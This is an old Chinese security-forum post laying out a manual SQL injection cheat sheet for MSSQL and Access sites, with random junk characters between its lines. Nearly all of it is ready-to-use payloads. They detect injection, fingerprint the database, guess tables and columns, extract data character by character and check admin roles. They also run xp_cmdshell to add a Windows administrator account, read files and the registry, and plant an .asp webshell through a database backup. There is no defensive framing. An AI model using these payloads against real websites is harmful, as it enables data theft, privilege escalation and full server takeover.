找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2132|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入 / i3 {- K( n; G9 F7 Q
1.判断是否有注入;and 1=1 ;and 1=2
* q. K1 ~6 z) `: p8 Y1 l
7 ~7 @9 G/ q- E, P$ j0 Q2.初步判断是否是mssql ;and user>0
: J' y9 q; p' e# R  r
  x0 m; w! T8 K3.注入参数是字符'and [查询条件] and ''='
! U9 a& z- I9 m% K+ Y5 Z" Z* e
8 j" e. j3 B) e0 w' y6 a" H' g& a4.搜索时没过滤参数的'and [查询条件] and '%25'='
, o* G* E3 H7 q8 d
; o/ D% Z; ~& {2 w5.判断数据库系统
0 P& B( G$ r$ Q9 N% h;and (select count(*) from sysobjects)>0 mssql $ J8 e* O( Z; M: L+ k& D& a: l
;and (select count(*) from msysobjects)>0 access 4 i- Q6 g& ?: c; T, w! ~8 C
% R7 b; i$ k5 N5 {2 a5 p8 G+ `
6.猜数据库 ;and (select Count(*) from [数据库名])>0 " ~. Y) j9 m+ t
7 h) z: X" k; r8 \) j
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 , T. v/ [5 [$ @8 G* o4 t
. e7 L* ^6 i! J6 [, S7 o( a4 X
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
) \1 R+ b# P, `+ W
+ m# m; D+ @3 H' e7 [, p8 z9.(1)猜字段的ascii值(access) # U# `& ~3 ?, L$ K
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 5 `5 `4 q6 @2 H! n) x& u

* i& c# P1 t+ u  `# N(2)猜字段的ascii值(mssql)
" J/ Z5 i0 d* @, b/ ~# ?. ?1 d;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
  _& [8 k- c2 [( d( x8 u& M5 N- N3 n; h3 O, O
10.测试权限结构(mssql)
5 R/ U0 N" `, M6 r! ]  S. w. C;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ' q9 B% p) @5 }# r
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 7 ]8 n5 O, s$ U7 a
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
# ?0 H  D4 y# M' I: U;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
, i; K& B3 s# u5 Z0 v' Y;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
6 K  j! V: x1 C4 u0 k" y;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- # a% A/ D/ l7 S, `
;and 1=(select IS_MEMBER('db_owner'));--
1 Y% L) t$ k' j% X4 @' D9 V5 Q1 M9 a# Q8 S4 `" t
11.添加mssql和系统的帐户
- A" t4 F7 n# w1 F# E;exec master.dbo.sp_addlogin username;--
4 y- D, R) W0 p. e, ~3 A3 X( M! n. e, @# g
;exec master.dbo.sp_password null,username,password;-- # l* x9 c( p& M: Z* e

' [4 ^1 e& b% a" {% T;exec master.dbo.sp_addsrvrolemember sysadmin username;--
& L( O0 l( }  B* O/ \1 r& D9 `8 J/ l7 s% K! N
;exec master.dbo.xp_cmdshell 'net user username password
2 U* |4 i; Z1 v" y& B! J/ X$ a, k/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- & d# m0 D0 Y8 ]  A; x" }  X

' I& }3 K" y) T$ }2 ~;exec master.dbo.xp_cmdshell 'net user username password /add';--
4 h* e( {$ e5 g$ o2 ~# q
. S8 B* L4 [- Q, X. J- l  M;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 3 c3 U5 z4 q2 B" f) Y9 C

: J6 r5 |( t+ ]$ w1 w7 ~12.(1)遍历目录
: R: ~. E6 K  o2 W5 R8 E" O( I9 ~# x% V8 A9 c& b
;create table dirs(paths varchar(100), id int) + a. D1 @# ?8 K% F
;insert dirs exec master.dbo.xp_dirtree 'c:\' 8 u# Y; k/ }. ?- I# o
;and (select top 1 paths from dirs)>0 5 O* g4 x8 V% G. ]- @
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
' j) L4 {* V1 o6 T) G+ k9 S+ L! V$ D0 g
(2)遍历目录 6 l7 W  c9 q9 I
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- & V+ K0 N' |  k( `
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 " U7 Y9 h$ A4 Y& a
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 . B' E3 k; r9 D% A) E
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ! `* l9 B! Y% |( a  M# i0 v
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 * u* o# f2 N' p! b( F! Q

) i, E# W: u4 Q9 G/ i4 l: A0 D13.mssql中的存储过程
8 R. w2 E' m  c/ g2 s1 }
* B6 Y- y0 f' B+ d. V$ K* lxp_regenumvalues 注册表根键, 子键 ' E' _- F$ s# t! j
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 6 N. I, w* F( I/ N
) \" I9 K  \5 S* B; E8 w* u9 g
xp_regread 根键,子键,键值名 # ~; a7 c; B; k# c
;exec xp_regread
+ J8 {, q5 ]/ t/ l'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 7 p1 o2 _/ m" L/ ]
! s6 Y" E9 V) O: a
xp_regwrite 根键,子键, 值名, 值类型, 值 + X" Y! e  S9 H7 ?
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
) S7 B. S& I  p;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
" h% K. f' ]5 O: h% f3 u- P- r4 q. u0 Q' @( y
xp_regdeletevalue 根键,子键,值名
( B. f/ W! u1 B; U/ c* k/ f1 `& ?2 X
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
3 D0 |4 W, P3 G* }
$ E+ F0 Q, P' P. H" Lxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
3 C7 Y: e8 |3 C; y3 k8 r2 ~* ?9 c9 X& }5 M5 {; k6 t& j
14.mssql的backup创建webshell
' A6 S7 r7 y6 `* Y$ A8 Ouse model 9 i. f7 K& U% `4 @
create table cmd(str image); ' e, i; O& ~1 i2 j4 e7 z4 U5 v
insert into cmd(str) values ('');
* b! ]0 d# _& O3 z, g, |- i2 Obackup database model to disk='c:\l.asp';
+ S; J* o- b9 n
2 x8 m8 l- |. O' `: G( M15.mssql内置函数
. C- \1 `/ T/ ]! f- j  o;and (select @@version)>0 获得Windows的版本号
( f. x6 w2 [# y% \;and user_name()='dbo' 判断当前系统的连接用户是不是sa
/ a& N, d" d- M9 P0 o;and (select user_name())>0 爆当前系统的连接用户 & v5 V  P+ d$ `  ]5 c/ r* c
;and (select db_name())>0 得到当前连接的数据库
' p1 g) Y5 ?% M2 z) _/ Y8 ~0 o7 [
16.简洁的webshell
- u! ~4 I, N& e5 r0 j& e7 F1 j8 G' v, ?- Y6 v
use model & `/ I. f( o0 h

8 [' o4 `, P- p( J# a2 I8 M3 ncreate table cmd(str image); 4 M$ e. Q8 v1 K7 O) x

; F2 u! d  x  P# dinsert into cmd(str) values ('');
7 p# N0 Y1 s0 o8 l+ E. E9 y0 K7 A; [  m& q- c
backup database model to disk='g:\wwwtest\l.asp';
* y  |! v  W# h5 ~
( @1 v0 k+ r! e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表